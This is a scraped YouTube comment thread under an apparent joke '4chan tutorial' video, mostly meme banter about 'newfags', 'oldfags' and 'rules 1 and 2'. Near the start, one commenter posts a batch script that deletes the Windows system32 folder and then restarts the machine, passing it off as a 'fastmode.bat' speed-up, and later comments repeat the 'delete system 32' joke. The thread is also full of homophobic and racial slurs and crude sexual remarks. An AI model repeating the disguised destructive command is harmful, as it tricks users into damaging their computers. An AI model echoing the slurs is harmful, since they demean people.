Lesson 0 - Introduction - 4chan Video Tutorial

[JohnTheEncyklopedia]

>slash bee slash

>being a decent board

pick one

[Beowaffle]

4chan will run better if you enter into a notepad file:

@echo off

del c:\windows\system32

shutdown -r

save this as fastmode.bat and double click it to watch the magic happen.

[aCloudOfHaze]

WARNING NEWFAGGOTRY AHEAD

[Spacecoreinspace]

sage.

[JosePablo24]

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[H3mia]

newfag

[whoistheidort]

3/10

[f123456789knvm]

oldfagging

you're doing it wrong

[CaptainFalconOnAPogo]

hey guize MUDKIPZ XD

Can I bee leeguin too?? >.<

[Vainamoinen7]

sage



[starwarsnerdable]

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i r oldfag nao?

[TheVelocityNation]

@starwarsnerdable no you fail, you are still newfag.

[poisenpotato123]

Rules one and two

[ReadWipedInBlue]

@poisenpotato123 Only Applies To Raids Newfag

[hyuhyuuyh]

I am pretty oldfag myself

[scootermchoodyba]

i want to be oldfag

[MrPudding28]

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[free0men]

rules one and 2 NEWFAG

[NewelI6]

Rules

1)Don't talk about NewtGringrich

2)Don't talk about NewtGringrich

We don't talk about it for a reason candy-ass.

[imopsvideo]

rule 1 and 2 fag!

[AkiKaza3829]

GODDAMMIT RULES 1 AND 2

[DarkenIsGod]

1. Lurk.

2. Lurk some more.

3. Realise how shit 4chan is.

4. Never go to 4chan again.

[bitrol]

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[archmc2012sucks]

@bitrol Fail

[bitrol]

@archmc2012sucks you can't do that on youtube, you silly bugger

[Kimpaga]

what form heinous rat fucking betrayal is this!

[shankyouwithmyspoon1]

fucking treason. rules 1 and 2.

[dodoso123]

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[dodoso123]

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[liamjfriel]

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[opo736]

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[Arnes111]

Again I comment.

This is the biggest act of treason I could ever imagine.

Fuck you.

[SoICanHaveThisName]

@Arnes111 lawl go back to your secret club house..

[JosePablo24]

@Arnes111 lol, why?

[Arnes111]

@JosePablo24

>ponyfaggot avatar

nope

[JosePablo24]

@Arnes111

>No lifer from 4chan

Why would i expect any different?

[Arnes111]

@JosePablo24

been banned and off of 4chan two years running now, jokes on you

[JosePablo24]

@Arnes111 Im not surprised

[TroIIestia]

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[hopper727rs]

sage'd

[vocalon151]

This is really dumb, for real.

[TheDarkDuck93]

You just broke rule #1 and #2 of the internetz.

[MrWhiteNerd1]

@TheDarkDuck93 only applys to raids

[ROBLOXzerozx5]

whats tri force?

[nokshor]

@ROBLOXzerozx5 You're a lucky man. I am merciful.

Rule of thumb. NEVER post "What's tri force" anywhere on the internet.

It will f**k yo computer up. :P

[Renewlavisibli]

@nokshor

..ok?...thank you..sir?



[Renewlavisibli]

@nokshor >.<FACEPALM*

zelda! hurr durr!

[ShadowRSonic]

forchange is awesome website lololol we are noname we are cavalry

[G4meTesters]

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[TheDrKennedy]

 damn

[drzoidburgrocks]

isnt 4chan massively infected with rootkits and other viruses?

[4hater300]

@drzoidburgrocks Only in your asshole.

[drzoidburgrocks]

@4hater300 lol

[4hater300]

@drzoidburgrocks But no seriously only if you're fucking retarded and fall for "HERES THAT VID I PROMISED 'undisclosed non named ad.fly link'" bullshit

[drzoidburgrocks]

@4hater300 no i never even get that far. i just go on the website and then spend the next 5 months battling with malware

[SexyPenguinOZ]

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[TheKuroKaminari]

Fuckin' love this stuff. Good job, man!

[opo736]

Delete system 32, only way to post on 4chan ▲

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[morganrcks21]

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[ChrstnMlt]

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[bobstevefrank123]

FAIL

[ViGsT]

This video is full of fail and aids

[Dookiii]

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[qvnsq101]

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[Tyasume]

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[ShuyaTheDark]

"Welcome to the R-W-C tutorial on speedcore production"

What program did you use to make the voice?

[kourosh89]

OP is a faggot.

[Mariomon12345]

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YAY!

[x3Roenie]

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FUCK!

[Niech37]

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[hellawaits100]

what happened to rule 1 and 2 oldfags

[flimflabber]

@hellawaits100

Only apply during raids faggot.

[hellawaits100]

@flimflabber newfag is incorrect...explain this faggotry, problem?

[flimflabber]

@hellawaits100

Only newfags call newfag. Stop using that gay ass typing style aswell; This isn't /b/ faggot.

[hellawaits100]

@flimflabber lol u mad bro?

[hellawaits100]

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[Modtuts]

u won't be a oldfag by this shit..... been lurking for 5 years. im oldfag..

[IdonTcleanMYSOCKS]

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[CmmndrBunBun]

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[SevenJulyMusic]

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[TheViolenceMan]

how to be part of the community

live in your mom basment

be 14 old

play WoW day and night

be a virgin

jerk off to anime porn

pretend to be cool and ironic on the internet

[Draccaj]

I disapprove. *insert bitching about what Anonymous is, etc.*

[CinoxFellpyre]

This is so fucking idiotic. Let's have a lesson on 4chan, and talk all about /b/.

/b/ isn't the only board you derp go lurk more...

[rockgunner45]

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[McLovinChikaWhut]

Fuck u Old Fags 4 messin up my Dads Work Computer

[Xx6brokenhearts9xX]

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amidoinitritenowguise?



[KazCrazy1]

WHAT?! This video violates interntet rule number 1 and 2!!

[JerZeyCJ]

@KazCrazy1 This is not a raid, therefore, it doesn't violate 1&2

[sicko1994]

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▲i con trifroce, i iz oldfag

[stevenodding]

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[Kazisho]

wats a get

[DeSpawny]

gtfo

[rax2099]

RULES 1 AND 2!!!

[TheAwesomeBrandon]

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[TheAwesomeBrandon]

@TheAwesomeBrandon ffffffffffuuuuuuuuuuuuuuu

[TheAwesomeBrandon]

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[AndrewLovesYa]

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[yoshfernando]

[comment removed by the cyberpolice]

[nela154]

wait a darn minute.. why is there a lady anonymous?! i thaught there were no women on the internets! and at the end, there is many lady! why?!

[Grimdude360]

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[atrocitycatastrophe]

>"with this tutorial you should be easily able to join and ever expanding community of exciting people in a new and intresting setting"

>"you should be easily able to join and ever expanding community of exciting people in a new and intresting setting"

>"join and ever expanding community of exciting people in a new and intresting setting"

>"exciting people in a new and intresting setting"

>"exciting people"

HA HA HA OH WOW

[BoatBomber]

Man internet language makes you sound like a big nerd 

[jeppie123]

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[TiCLer]

No nigras in ever expanding community

[b1af]

ugh! i cant fap to this

[3atr]

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[dhunter99]

I AM DISSAPOINT

[IAmTheNewfag]

Newfags can triforce and they can certainly blankpost. In fact, those some of the first things they learn in order to prove how oldfaggy they are.(or so they think)

[jammallamablammaobam]

THERES OVER 9000!!!!!!..... views

[sbambic]

newfags can't blank post

[MannenStudios]

NEWFAGS ARE OVER 9000!!!!

[MannenStudios]

NEWFAGS ARE OVER 9000!!!! ▲

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[liimikas]

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[lucadepu]

pussy,

[redsoxhater2468]

lol all of these comments are filled with fail and aids

[vanhoe0]

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[GiveMeBass93]

@vanhoe0 old fag cant tri force /b/cacuse of arthritis

[chuj00]

@vanhoe0 triforce was invented during the newfag boom so if anything newfags would probably be able to triforce more than oldfags.

[RidgeRacerLord]

@vanhoe0 >implying you cant greentext on youtube

[robdun]

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[AnonymousOficial]

THANKS :D :D

I AM COMPLETELY "RANDOM" NOW xD

[BruteShotHero]

oldfags FTW

[QuikFingaz]

I don't know why but I raged and cracked up just to rage again and eventually choked on my spit as I laughed way too fucking out loud...

This is some sewious trolling that here be :/

[Rebciu]

problem officer?

[2012EndOfWorlds]

this is nefaggotry rules 1 and 2 FAGS

[geurgeury]

Only applys to raids

newfag learn your rules

[transformerwreckage]

lmao

[mikealope]

sort of want, but might be a trap

[OnCall101Villa]

can some1 tell me why porn is always posted?

i'd understand shit like cp being posted as it is probably hard to get, but regular porn? is it to stop it from showing in search history or something?

[Kroodor]

OP is amazing.

[MaikBey]

NEWFAG cant triforce ▲

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[robdun]

NEWFAGS!

[Tans09]

i lol'd

[JulesBondTF2]

O wow, troll'd.

[juzielli]

SAGE IN ALL FIELDS

[shinstabber]

RAAAAAAGEEEEEEE

[riddleman65]

This is the best troll I have ever seen. You fucking rule

[Westyle1]

trolls trolling trolls trolling etc...

[PsyberKayos]

Fucking hilarious.

"slash bee slash"

become a master, "or oldfag as the community calls it"

[manticore125]

you sir are and idiot

[siggi11]

Fucking cancer.

[GotRomeo]

what the fuck is this shit. lamelamelamelame

[L0ngcatislooong]

Excuse me sir, what is that ... thing on the right side of the video for the first 20 or so seconds?

[gt500cowboy]

looks like a women....not showing her tits. GET HER THE FUCK OFF

[Ryulin18]

looks like a chicks suit.....

[MadThad0890]

omg like for real. just fuckin stop. i am now aware that /b/ will never be good. cancer will always be there. a fuckin 4chan Tutorial? wtf why do we need to show newfags how to be a oldfag? what ever happened to lurk moar or go 2 ED? you disappoint me. shit like this makes me want to stop going to 4chan. brb an hero

[NeonCans]

"go 2 ED?" Just proved you are a newfag. Only newfags look stuff up and think they are oldfags.

[MadThad0890]

fuck off newfag!

[svoilyi]

i dont understand xD

[exlxf]

Rules 1 and 2.

Learn them.

[Trooperxp]

only on raids

[david02129]

lol leegun LOL XD